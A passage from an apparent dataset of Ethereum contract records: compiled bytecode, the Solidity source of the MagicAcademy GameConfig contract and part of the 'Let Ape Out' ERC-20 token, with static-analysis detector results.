529060010190602001808311610dc057829003601f168201915b505050505081565b610ded610f20565b6000546001600160a01b03908116911614610e4f576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b038116610e945760405162461bcd60e51b8152600401808060200182810382526026815260200180610f256026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b7f1aaf79d9b3323ad0212f6a2f34f8c627d8d45e45a55c774d080e3077334bfad981565b339056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734d6972726f72454e535265676973747261723a2063616c6c6572206973206e6f7420746865204d6972726f7220577269746520546f6b656e4d6972726f72454e534d616e616765723a206c6162656c20697320616c7265616479206f776e6564a2646970667358221220959146db9b06917e4cbea1d4b61b3ef49a7d1575abb54fe393ad1ccdb041fa9764736f6c63430006080033
|
{"success": true, "error": null, "results": {}}
| 7,790 |
0xbd80161e3c4d7d18ec8f86002da2529f1e4b034b
|
pragma solidity ^0.4.18;
/* ==================================================================== */
/* Copyright (c) 2018 The MagicAcademy Project. All rights reserved.
/*
/* https://www.magicacademy.io One of the world's first idle strategy games of blockchain
/*
/* authors rainy@livestar.com/fanny.zheng@livestar.com
/*
/* ==================================================================== */
contract GameConfig {
using SafeMath for SafeMath;
address public owner;
/**event**/
event newCard(uint256 cardId,uint256 baseCoinCost,uint256 coinCostIncreaseHalf,uint256 ethCost,uint256 baseCoinProduction);
event newBattleCard(uint256 cardId,uint256 baseCoinCost,uint256 coinCostIncreaseHalf,uint256 ethCost,uint256 attackValue,uint256 defenseValue,uint256 coinStealingCapacity);
event newUpgradeCard(uint256 upgradecardId, uint256 coinCost, uint256 ethCost, uint256 upgradeClass, uint256 cardId, uint256 upgradeValue, uint256 increase);
struct Card {
uint256 cardId;
uint256 baseCoinCost;
uint256 coinCostIncreaseHalf; // Halfed to make maths slightly less (cancels a 2 out)
uint256 ethCost;
uint256 baseCoinProduction;
bool unitSellable; // Rare units (from raffle) not sellable
}
struct BattleCard {
uint256 cardId;
uint256 baseCoinCost;
uint256 coinCostIncreaseHalf; // Halfed to make maths slightly less (cancels a 2 out)
uint256 ethCost;
uint256 attackValue;
uint256 defenseValue;
uint256 coinStealingCapacity;
bool unitSellable; // Rare units (from raffle) not sellable
}
struct UpgradeCard {
uint256 upgradecardId;
uint256 coinCost;
uint256 ethCost;
uint256 upgradeClass;
uint256 cardId;
uint256 upgradeValue;
uint256 increase;
}
/** mapping**/
mapping(uint256 => Card) private cardInfo; //normal card
mapping(uint256 => BattleCard) private battlecardInfo; //battle card
mapping(uint256 => UpgradeCard) private upgradeInfo; //upgrade card
uint256 public currNumOfCards;
uint256 public currNumOfBattleCards;
uint256 public currNumOfUpgrades;
uint256 public Max_CAP = 99;
uint256 PLATPrice = 65000;
string versionNo;
// Constructor
function GameConfig() public {
owner = msg.sender;
versionNo = "20180523";
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
address allowed;
function setAllowedAddress(address _address) external onlyOwner {
require(_address != address(0));
allowed = _address;
}
modifier onlyAccess() {
require(msg.sender == allowed || msg.sender == owner);
_;
}
function setMaxCAP(uint256 iMax) external onlyOwner {
Max_CAP = iMax;
}
function getMaxCAP() external view returns (uint256) {
return Max_CAP;
}
function setPLATPrice(uint256 price) external onlyOwner {
PLATPrice = price;
}
function getPLATPrice() external view returns (uint256) {
return PLATPrice;
}
function getVersion() external view returns(string) {
return versionNo;
}
function setVersion(string _versionNo) external onlyOwner {
versionNo = _versionNo;
}
function CreateBattleCards(uint256 _cardId, uint256 _baseCoinCost, uint256 _coinCostIncreaseHalf, uint256 _ethCost, uint _attackValue, uint256 _defenseValue, uint256 _coinStealingCapacity, bool _unitSellable) external onlyAccess {
BattleCard memory _battlecard = BattleCard({
cardId: _cardId,
baseCoinCost: _baseCoinCost,
coinCostIncreaseHalf: _coinCostIncreaseHalf,
ethCost: _ethCost,
attackValue: _attackValue,
defenseValue: _defenseValue,
coinStealingCapacity: _coinStealingCapacity,
unitSellable: _unitSellable
});
battlecardInfo[_cardId] = _battlecard;
currNumOfBattleCards = SafeMath.add(currNumOfBattleCards,1);
newBattleCard(_cardId,_baseCoinCost,_coinCostIncreaseHalf,_ethCost,_attackValue,_defenseValue,_coinStealingCapacity);
}
function CreateCards(uint256 _cardId, uint256 _baseCoinCost, uint256 _coinCostIncreaseHalf, uint256 _ethCost, uint256 _baseCoinProduction, bool _unitSellable) external onlyAccess {
Card memory _card = Card({
cardId: _cardId,
baseCoinCost: _baseCoinCost,
coinCostIncreaseHalf: _coinCostIncreaseHalf,
ethCost: _ethCost,
baseCoinProduction: _baseCoinProduction,
unitSellable: _unitSellable
});
cardInfo[_cardId] = _card;
currNumOfCards = SafeMath.add(currNumOfCards,1);
newCard(_cardId,_baseCoinCost,_coinCostIncreaseHalf,_ethCost,_baseCoinProduction);
}
function CreateUpgradeCards(uint256 _upgradecardId, uint256 _coinCost, uint256 _ethCost, uint256 _upgradeClass, uint256 _cardId, uint256 _upgradeValue, uint256 _increase) external onlyAccess {
UpgradeCard memory _upgradecard = UpgradeCard({
upgradecardId: _upgradecardId,
coinCost: _coinCost,
ethCost: _ethCost,
upgradeClass: _upgradeClass,
cardId: _cardId,
upgradeValue: _upgradeValue,
increase: _increase
});
upgradeInfo[_upgradecardId] = _upgradecard;
currNumOfUpgrades = SafeMath.add(currNumOfUpgrades,1);
newUpgradeCard(_upgradecardId,_coinCost,_ethCost,_upgradeClass,_cardId,_upgradeValue,_increase);
}
function getCostForCards(uint256 cardId, uint256 existing, uint256 amount) public constant returns (uint256) {
uint256 icount = existing;
if (amount == 1) {
if (existing == 0) {
return cardInfo[cardId].baseCoinCost;
} else {
return cardInfo[cardId].baseCoinCost + (existing * cardInfo[cardId].coinCostIncreaseHalf * 2);
}
} else if (amount > 1) {
uint256 existingCost;
if (existing > 0) {
existingCost = (cardInfo[cardId].baseCoinCost * existing) + (existing * (existing - 1) * cardInfo[cardId].coinCostIncreaseHalf);
}
icount = SafeMath.add(existing,amount);
uint256 newCost = SafeMath.add(SafeMath.mul(cardInfo[cardId].baseCoinCost, icount), SafeMath.mul(SafeMath.mul(icount, (icount - 1)), cardInfo[cardId].coinCostIncreaseHalf));
return newCost - existingCost;
}
}
function getCostForBattleCards(uint256 cardId, uint256 existing, uint256 amount) public constant returns (uint256) {
uint256 icount = existing;
if (amount == 1) {
if (existing == 0) {
return battlecardInfo[cardId].baseCoinCost;
} else {
return battlecardInfo[cardId].baseCoinCost + (existing * battlecardInfo[cardId].coinCostIncreaseHalf * 2);
}
} else if (amount > 1) {
uint256 existingCost;
if (existing > 0) {
existingCost = (battlecardInfo[cardId].baseCoinCost * existing) + (existing * (existing - 1) * battlecardInfo[cardId].coinCostIncreaseHalf);
}
icount = SafeMath.add(existing,amount);
uint256 newCost = SafeMath.add(SafeMath.mul(battlecardInfo[cardId].baseCoinCost, icount), SafeMath.mul(SafeMath.mul(icount, (icount - 1)), battlecardInfo[cardId].coinCostIncreaseHalf));
return newCost - existingCost;
}
}
function getCostForUprade(uint256 cardId, uint256 existing, uint256 amount) public constant returns (uint256) {
if (amount == 1) {
if (existing == 0) {
return upgradeInfo[cardId].coinCost;
} else if (existing == 1 || existing == 4){
return 0;
}else if (existing == 2) {
return upgradeInfo[cardId].coinCost * 50;
}else if (existing == 3) {
return upgradeInfo[cardId].coinCost * 50 * 40;
}else if (existing == 5) {
return upgradeInfo[cardId].coinCost * 50 * 40 * 30;
}
}
}
function getWeakenedDefensePower(uint256 defendingPower) external pure returns (uint256) {
return SafeMath.div(defendingPower,2);
}
/// @notice get the production card's ether cost
function unitEthCost(uint256 cardId) external constant returns (uint256) {
return cardInfo[cardId].ethCost;
}
/// @notice get the battle card's ether cost
function unitBattleEthCost(uint256 cardId) external constant returns (uint256) {
return battlecardInfo[cardId].ethCost;
}
/// @notice get the battle card's plat cost
function unitBattlePLATCost(uint256 cardId) external constant returns (uint256) {
return SafeMath.mul(battlecardInfo[cardId].ethCost,PLATPrice);
}
/// @notice normal production plat value
function unitPLATCost(uint256 cardId) external constant returns (uint256) {
return SafeMath.mul(cardInfo[cardId].ethCost,PLATPrice);
}
function unitCoinProduction(uint256 cardId) external constant returns (uint256) {
return cardInfo[cardId].baseCoinProduction;
}
function unitAttack(uint256 cardId) external constant returns (uint256) {
return battlecardInfo[cardId].attackValue;
}
function unitDefense(uint256 cardId) external constant returns (uint256) {
return battlecardInfo[cardId].defenseValue;
}
function unitStealingCapacity(uint256 cardId) external constant returns (uint256) {
return battlecardInfo[cardId].coinStealingCapacity;
}
function productionCardIdRange() external constant returns (uint256, uint256) {
return (1, currNumOfCards);
}
function battleCardIdRange() external constant returns (uint256, uint256) {
uint256 battleMax = SafeMath.add(39,currNumOfBattleCards);
return (40, battleMax);
}
function upgradeIdRange() external constant returns (uint256, uint256) {
return (1, currNumOfUpgrades);
}
// get the detail info of card
function getCardsInfo(uint256 cardId) external constant returns (
uint256 baseCoinCost,
uint256 coinCostIncreaseHalf,
uint256 ethCost,
uint256 baseCoinProduction,
uint256 platCost,
bool unitSellable
) {
baseCoinCost = cardInfo[cardId].baseCoinCost;
coinCostIncreaseHalf = cardInfo[cardId].coinCostIncreaseHalf;
ethCost = cardInfo[cardId].ethCost;
baseCoinProduction = cardInfo[cardId].baseCoinProduction;
platCost = SafeMath.mul(ethCost,PLATPrice);
unitSellable = cardInfo[cardId].unitSellable;
}
//for production card
function getCardInfo(uint256 cardId, uint256 existing, uint256 amount) external constant returns (uint256, uint256, uint256, uint256, bool) {
return (cardInfo[cardId].cardId, cardInfo[cardId].baseCoinProduction, getCostForCards(cardId, existing, amount), SafeMath.mul(cardInfo[cardId].ethCost, amount),cardInfo[cardId].unitSellable);
}
//for battle card
function getBattleCardInfo(uint256 cardId, uint256 existing, uint256 amount) external constant returns (uint256, uint256, uint256, bool) {
return (battlecardInfo[cardId].cardId, getCostForBattleCards(cardId, existing, amount), SafeMath.mul(battlecardInfo[cardId].ethCost, amount),battlecardInfo[cardId].unitSellable);
}
//Battle Cards
function getBattleCardsInfo(uint256 cardId) external constant returns (
uint256 baseCoinCost,
uint256 coinCostIncreaseHalf,
uint256 ethCost,
uint256 attackValue,
uint256 defenseValue,
uint256 coinStealingCapacity,
uint256 platCost,
bool unitSellable
) {
baseCoinCost = battlecardInfo[cardId].baseCoinCost;
coinCostIncreaseHalf = battlecardInfo[cardId].coinCostIncreaseHalf;
ethCost = battlecardInfo[cardId].ethCost;
attackValue = battlecardInfo[cardId].attackValue;
defenseValue = battlecardInfo[cardId].defenseValue;
coinStealingCapacity = battlecardInfo[cardId].coinStealingCapacity;
platCost = SafeMath.mul(ethCost,PLATPrice);
unitSellable = battlecardInfo[cardId].unitSellable;
}
//upgrade cards
function getUpgradeCardsInfo(uint256 upgradecardId, uint256 existing) external constant returns (
uint256 coinCost,
uint256 ethCost,
uint256 upgradeClass,
uint256 cardId,
uint256 upgradeValue,
uint256 platCost
) {
coinCost = upgradeInfo[upgradecardId].coinCost;
ethCost = upgradeInfo[upgradecardId].ethCost;
upgradeClass = upgradeInfo[upgradecardId].upgradeClass;
cardId = upgradeInfo[upgradecardId].cardId;
uint8 uflag;
if (coinCost >0 ) {
if (upgradeClass ==0 || upgradeClass ==1 || upgradeClass == 3) {
uflag = 1;
} else if (upgradeClass==2 || upgradeClass == 4 || upgradeClass==5 || upgradeClass==7) {
uflag = 2;
}
}
if (coinCost>0 && existing>=1) {
coinCost = getCostForUprade(upgradecardId, existing, 1);
}
if (ethCost>0) {
if (upgradecardId == 2) {
if (existing>=1) {
ethCost = SafeMath.mul(ethCost,2);
}
}
}else {
if ((existing ==1 || existing ==4)) {
if (ethCost<=0) {
ethCost = 0.1 ether;
coinCost = 0;
}
}
}
upgradeValue = upgradeInfo[upgradecardId].upgradeValue;
if (ethCost>0) {
if (uflag==1) {
upgradeValue = upgradeInfo[upgradecardId].upgradeValue * 2;
} else if (uflag==2) {
upgradeValue = upgradeInfo[upgradecardId].upgradeValue * 4;
} else {
if (upgradeClass == 6){
if (upgradecardId == 27){
upgradeValue = upgradeInfo[upgradecardId].upgradeValue * 5;
} else if (upgradecardId == 40) {
upgradeValue = upgradeInfo[upgradecardId].upgradeValue * 3;
}
}
}
}
platCost = SafeMath.mul(ethCost,PLATPrice);
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
0x6060604052600436106101b65763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306201ad981146101bb5780630d8e6e2c146101e057806314d9d2e51461026a5780631b8fc2f01461028657806321446cfe146102a75780632b2449b5146102bd5780632d78737b146102d35780632df56bb2146102fb578063320cffcd14610311578063341367ec1461032d578063436fdc0e14610340578063527c08ec1461039d5780636101a1f7146103b0578063625785bb146103c657806369632f56146103f1578063702123ae14610407578063709e6ed41461041d57806373f9421d14610430578063788bc78c146104825780637ef2bd52146104a05780638da5cb5b146104b357806394b67b1c146104e2578063a8aeecd9146104f8578063b2570b1c14610514578063b3082d251461055c578063b6206e6714610583578063cf0f864e14610599578063deec4c20146105ac578063e2a9bb53146105fb578063e968e1ec14610628578063ee4827ea1461063e578063ee9cebde1461068b578063f34e4c60146106a1578063f5610668146106b4578063fbe45b48146106c7575b600080fd5b34156101c657600080fd5b6101ce6106dd565b60405190815260200160405180910390f35b34156101eb57600080fd5b6101f36106e4565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561022f578082015183820152602001610217565b50505050905090810190601f16801561025c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561027557600080fd5b6101ce60043560243560443561078c565b341561029157600080fd5b6102a5600160a060020a0360043516610843565b005b34156102b257600080fd5b6101ce6004356108a2565b34156102c857600080fd5b6102a56004356108b7565b34156102de57600080fd5b6102a560043560243560443560643560843560a43560c4356108d7565b341561030657600080fd5b6101ce600435610a22565b341561031c57600080fd5b6101ce600435602435604435610a37565b341561033857600080fd5b6101ce610b38565b341561034b57600080fd5b610356600435610b3e565b60405197885260208801969096526040808801959095526060870193909352608086019190915260a085015260c084015290151560e0830152610100909101905180910390f35b34156103a857600080fd5b6101ce610bb5565b34156103bb57600080fd5b6101ce600435610bbb565b34156103d157600080fd5b6103d9610bd0565b60405191825260208201526040908101905180910390f35b34156103fc57600080fd5b6101ce600435610bd8565b341561041257600080fd5b6101ce600435610bed565b341561042857600080fd5b6103d9610c02565b341561043b57600080fd5b610449600435602435610c0a565b60405180878152602001868152602001858152602001848152602001838152602001828152602001965050505050505060405180910390f35b341561048d57600080fd5b6102a56004803560248101910135610ddf565b34156104ab57600080fd5b6101ce610e0b565b34156104be57600080fd5b6104c6610e11565b604051600160a060020a03909116815260200160405180910390f35b34156104ed57600080fd5b6101ce600435610e20565b341561050357600080fd5b6101ce600435602435604435610e33565b341561051f57600080fd5b610530600435602435604435610f1c565b604051938452602084019290925260408084019190915290151560608301526080909101905180910390f35b341561056757600080fd5b6102a560043560243560443560643560843560a4351515610f7f565b341561058e57600080fd5b6101ce6004356110be565b34156105a457600080fd5b6103d96110dd565b34156105b757600080fd5b6105c26004356110fa565b60405195865260208601949094526040808601939093526060850191909152608084015290151560a083015260c0909101905180910390f35b341561060657600080fd5b6102a560043560243560443560643560843560a43560c43560e435151561115c565b341561063357600080fd5b6102a56004356112cc565b341561064957600080fd5b61065a6004356024356044356112ec565b60405194855260208501939093526040808501929092526060840152901515608083015260a0909101905180910390f35b341561069657600080fd5b6101ce60043561135b565b34156106ac57600080fd5b6101ce611370565b34156106bf57600080fd5b6101ce611376565b34156106d257600080fd5b6101ce60043561137c565b6008545b90565b6106ec6113f7565b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107825780601f1061075757610100808354040283529160200191610782565b820191906000526020600020905b81548152906001019060200180831161076557829003601f168201915b5050505050905090565b6000816001141561083c578215156107b6575060008381526003602052604090206001015461083c565b82600114806107c55750826004145b156107d25750600061083c565b82600214156107f6575060008381526003602052604090206001015460320261083c565b826003141561081b57506000838152600360205260409020600101546107d00261083c565b826005141561083c575060008381526003602052604090206001015461ea60025b9392505050565b60005433600160a060020a0390811691161461085e57600080fd5b600160a060020a038116151561087357600080fd5b600a805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60009081526002602052604090206005015490565b60005433600160a060020a039081169116146108d257600080fd5b600755565b6108df611409565b600a5433600160a060020a039081169116148061090a575060005433600160a060020a039081169116145b151561091557600080fd5b60e06040519081016040528089815260200188815260200187815260200186815260200185815260200184815260200183815250905080600360008a8152602001908152602001600020600082015181556020820151816001015560408201518160020155606082015181600301556080820151816004015560a0820151816005015560c0820151600691820155546109b09150600161139b565b6006557fa968da2782cf461537e56f247b36b6c4ad8e7df19d3abddc2353e38ddc5bb3f78888888888888860405196875260208701959095526040808701949094526060860192909252608085015260a084015260c083019190915260e0909101905180910390a15050505050505050565b60009081526002602052604090206003015490565b60008281806001851415610a9057851515610a6657600087815260016020819052604090912001549350610b2e565b60008781526001602081905260409091206002808201549190920154908802909102019350610b2e565b6001851115610b2e576000861115610acb57600087815260016020819052604090912060028101549101548702600019880188029091020191505b610ad5868661139b565b9250610b26610afa600160008a815260200190815260200160002060010154856113b5565b610b21610b0a86600188036113b5565b60008b8152600160205260409020600201546113b5565b61139b565b905081810393505b5050509392505050565b60075490565b60008181526002602081905260408220600181015491810154600382015460048301546005840154600690940154600854959693959294919391929091908190610b899087906113b5565b6000998a526002602052604090992060070154979996989597949693959294929360ff90931692915050565b60075481565b60009081526002602052604090206006015490565b600454600191565b60009081526002602052604090206004015490565b60009081526001602052604090206004015490565b600654600191565b6000828152600360208190526040822060018101546002820154928201546004909201549093808080871115610c8d57841580610c475750846001145b80610c525750846003145b15610c5f57506001610c8d565b8460021480610c6e5750846004145b80610c795750846005145b80610c845750846007145b15610c8d575060025b600087118015610c9e575060018810155b15610cb257610caf8989600161078c565b96505b6000861115610cdf578860021415610cda5760018810610cda57610cd78660026113b5565b95505b610d0b565b8760011480610cee5750876004145b15610d0b5760008611610d0b5767016345785d8a00009550600096505b6000898152600360205260408120600501549350861115610dc6578060ff1660011415610d4e576000898152600360205260409020600501546002029250610dc6565b8060ff1660021415610d76576000898152600360205260409020600501546004029250610dc6565b8460061415610dc65788601b1415610da4576000898152600360205260409020600590810154029250610dc6565b8860281415610dc6576000898152600360208190526040909120600501540292505b610dd2866008546113b5565b9150509295509295509295565b60005433600160a060020a03908116911614610dfa57600080fd5b610e0660098383611447565b505050565b60065481565b600054600160a060020a031681565b6000610e2d8260026113e0565b92915050565b60008281806001851415610e8a57851515610e61576000878152600260205260409020600101549350610b2e565b600087815260026020819052604090912080820154600190910154908802909102019350610b2e565b6001851115610b2e576000861115610ec7576000878152600260208190526040909120908101546001909101548702600019880188029091020191505b610ed1868661139b565b600088815260026020526040902060010154909350610b2690610ef490856113b5565b610b21610f0486600188036113b5565b60008b815260026020819052604090912001546113b5565b600083815260026020526040812054819081908190610f3c888888610e33565b600089815260026020526040902060030154610f5890886113b5565b6000998a52600260205260409099206007015491999098975060ff90911695509350505050565b610f876114c5565b600a5433600160a060020a0390811691161480610fb2575060005433600160a060020a039081169116145b1515610fbd57600080fd5b60c06040519081016040528088815260200187815260200186815260200185815260200184815260200183151581525090508060016000898152602001908152602001600020600082015181556020820151816001015560408201518160020155606082015181600301556080820151816004015560a0820151600591909101805460ff19169115159190911790555060045461105b90600161139b565b6004557f8489b0e11d035c8f69ba1c9b68efc99db3617f3156516169215477683e7eccf48787878787604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390a150505050505050565b600081815260026020526040812060030154600854610e2d91906113b5565b60008060006110ef602760055461139b565b602894909350915050565b600081815260016020819052604082209081015460028201546003830154600490930154600854929491939290919081906111369085906113b5565b60009788526001602052604090972060050154959794969395929460ff90931692915050565b6111646114fe565b600a5433600160a060020a039081169116148061118f575060005433600160a060020a039081169116145b151561119a57600080fd5b610100604051908101604052808a8152602001898152602001888152602001878152602001868152602001858152602001848152602001831515815250905080600260008b8152602001908152602001600020600082015181556020820151816001015560408201518160020155606082015181600301556080820151816004015560a0820151816005015560c0820151816006015560e0820151600791909101805460ff19169115159190911790555060055461125990600161139b565b6005557f56f532faf1224d55677ede7c8d90b6193dfe13e9b9623e69f6de25d3dbf1a5c28989898989898960405196875260208701959095526040808701949094526060860192909252608085015260a084015260c083019190915260e0909101905180910390a1505050505050505050565b60005433600160a060020a039081169116146112e757600080fd5b600855565b6000838152600160205260408120805460049091015482918291829182916113158a8a8a610a37565b60008b815260016020526040902060030154611331908a6113b5565b60009b8c5260016020526040909b2060050154929b919a909950975060ff90911695509350505050565b60009081526001602052604090206003015490565b60055481565b60045481565b600081815260016020526040812060030154600854610e2d91906113b5565b6000828201838110156113aa57fe5b8091505b5092915050565b6000808315156113c857600091506113ae565b508282028284828115156113d857fe5b04146113aa57fe5b60008082848115156113ee57fe5b04949350505050565b60206040519081016040526000815290565b60e060405190810160405280600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106114885782800160ff198235161785556114b5565b828001600101855582156114b5579182015b828111156114b557823582559160200191906001019061149a565b506114c1929150611546565b5090565b60c06040519081016040528060008152602001600081526020016000815260200160008152602001600081526020016000151581525090565b61010060405190810160405280600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000151581525090565b6106e191905b808211156114c1576000815560010161154c5600a165627a7a7230582043133d83377bcbe993a5ddb9aa8b0431f313557bc11c657999f35ff4d024ff440029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 7,791 |
0x98343e617656fd94bbea4dd8c3755b63ac24effc
|
/*
https://t.me/letapesout
Tired of Heavy Taxed Rugs, $LAT 5% straight Tax
5% Straight Tax on Buys and sells
No Max Transaction
No Max Wallet
Something $LAT
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract letapeoutcontract is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Let Ape Out";
string private constant _symbol = "LAT";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 9999999999999 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 5;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 5;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x9Efcc347d30Af957E4E43AA95cd1a4Ae87bc02B6);
address payable private _marketingAddress = payable(0x9Efcc347d30Af957E4E43AA95cd1a4Ae87bc02B6);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 9999999999999 * 10**9;
uint256 public _maxWalletSize = 9999999999999 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
